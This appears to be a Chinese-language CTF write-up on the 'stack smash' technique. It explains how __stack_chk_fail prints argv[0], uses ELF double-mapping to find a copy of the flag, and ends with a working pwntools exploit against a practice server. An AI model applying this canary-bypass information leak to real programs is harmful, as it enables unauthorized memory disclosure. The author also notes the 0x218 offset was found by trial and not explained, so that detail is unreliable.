栈溢出-Stack smash

原理

Stack-smash简单来说就是绕过Canary保护机制的技术。当程序开启了Canary保护后,会在缓冲区中加入一个Canary值,如果这个Canary值在程序运行中被改变了,会触发__stack_chk_fail函数。这个技术的关键就在于

这个函数会打印信息,我们可以通过这个函数打印我们想要的信息。打印的是argv[0]指针所指向的字符串。正常情况下指向程序名。

__stack_chk_fail函数介绍

1
2
3
4
5
6
7
8
9
10
11
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}

所以我们想打印我们想要的内容,就需要把argv[0]处的内容覆盖我们想输出的字符串地址。那么就会通过

__fortify_fail函数打印出这个字符串。

示例

基本思路

检查程序保护机制

image-20230714210036873

开启了NX保护和Canary保护,以及FORTIFY保护,再到ida中静态分析一下

image-20230714210236518

程序两次输出,因为gets函数对输入不做限制,所以这两处输入都是溢出点。第二次输入是先输入到stdin,然后最后保存在byte_600D20。查看一下这个byte_600D20

image-20230714211044272

提示说flag在服务器端,所以这道题并不是让我们拿getshell,而是通过栈溢出打印出远程服务器上真正的flag。

再回到程序中,观察到还有一个memset函数

1
memset((void *)((signed int)v0 + 0x600D20LL), 0, (unsigned int)(32 - v0));
memset函数
1
2
3
4
5
void* memset (void *_Dst, int _Val, size_t _Size)
参数说明:
ptr为要操作的内存的指针。
value为要设置的值。你既可以向value传递int类型的值,也可以传递char类型的值,intchar可以根据ASCII码相互转换。
num为ptr的前num个字节,size_t就是unsigned int

所以这个函数的意思就是从v0+0x600D200LL这个地址往后32-v1字节的内容都以0替代。

那么不管我们输入的是什么,flag的内容都会被覆盖掉(byte_600D20),所以此时就需要利用到”ELF重映射”的特点:

1
2
在ELF内存映射时,bss段会被映射两次,所以我们可以使用另一处的地址进行输出
当可执行文件足够小的时候,他的不同区段可能会被多次映射。

第一次可能有点不理解,gdb调试看一下内存映射

image-20230714213117744

注意开头处,可以看到pwn(这个程序)被映射到两处地址中,所以只要在二进制文件(offset)0x00000000~0x00001000范围内的内容都会被映射到到内存中,并且分别以0x600000和0x400000作为起始地址。flag在0x00000d20(0x600d20-0x600000),所以在0x400d20处也被映射了flag(相当于备份)

既然知道了在0x400d20也是flag,那么我们就可以利用__stack_chk_fail函数将其打印出来。

此时的思路就是:

  • 寻找argv[0]指针的位置,将其指向的内容覆盖为0x400d20
  • 寻找输入时栈顶的位置
  • 构造溢出触发__stack_chk_fail
寻找argv[0]指针位置

argv[0]有一个明显特征,就是会指向程序名,所以可以在在main函数处下断点来寻找

image-20230714224224736

0x7fffffffe008就是argv[0]的地址

也可以在gdb中使用命令

1
p & __libc_argv[0]

image-20230714224450861

寻找栈顶位置

为什么这一步要找输入栈顶的位置呢?到gdb调试下就知道了。

首先先看gets函数调用的位置,在IDA中查看:

image-20230714224722104

从汇编中可以看出在call gets之前,程序将参数放在了rdi中,由于有mov rdi,rsp存在,因此gets的参数一开始是放在栈里的。在gets(0x40080E)下断点,查看栈内容。

image-20230714225420217

可以看到当前的rdi寄存器中的值为rsp寄存器的内容,因为在64位程序中rdi寄存器中存放的是当前执行函数的一参,所以当前的栈顶就是gets函数的一参。所以当前栈顶的位置到刚才的argv[0]的偏移距离就是我们的栈溢出长度,所以我们通过计算偏移=0x218(我自己gdb调的时候不是这个,不知道为什么,只能用0x218算才能打通),也就是输入内容要在0x218以后才能把argv[0]给覆盖掉,并且输入0x218内容之后把0x00400d20(flag)地址写上就可以。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import*

context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='amd64', os='linux')

sh = remote('pwn.jarvisoj.com',9877)

payload = 0x218*b'a'+p64(0x400D20)

sh.recvuntil(b'name? ')

sh.sendline(payload)
sh.sendlineafter(b'flag: ',b'zhuyuan')
sh.interactive()
~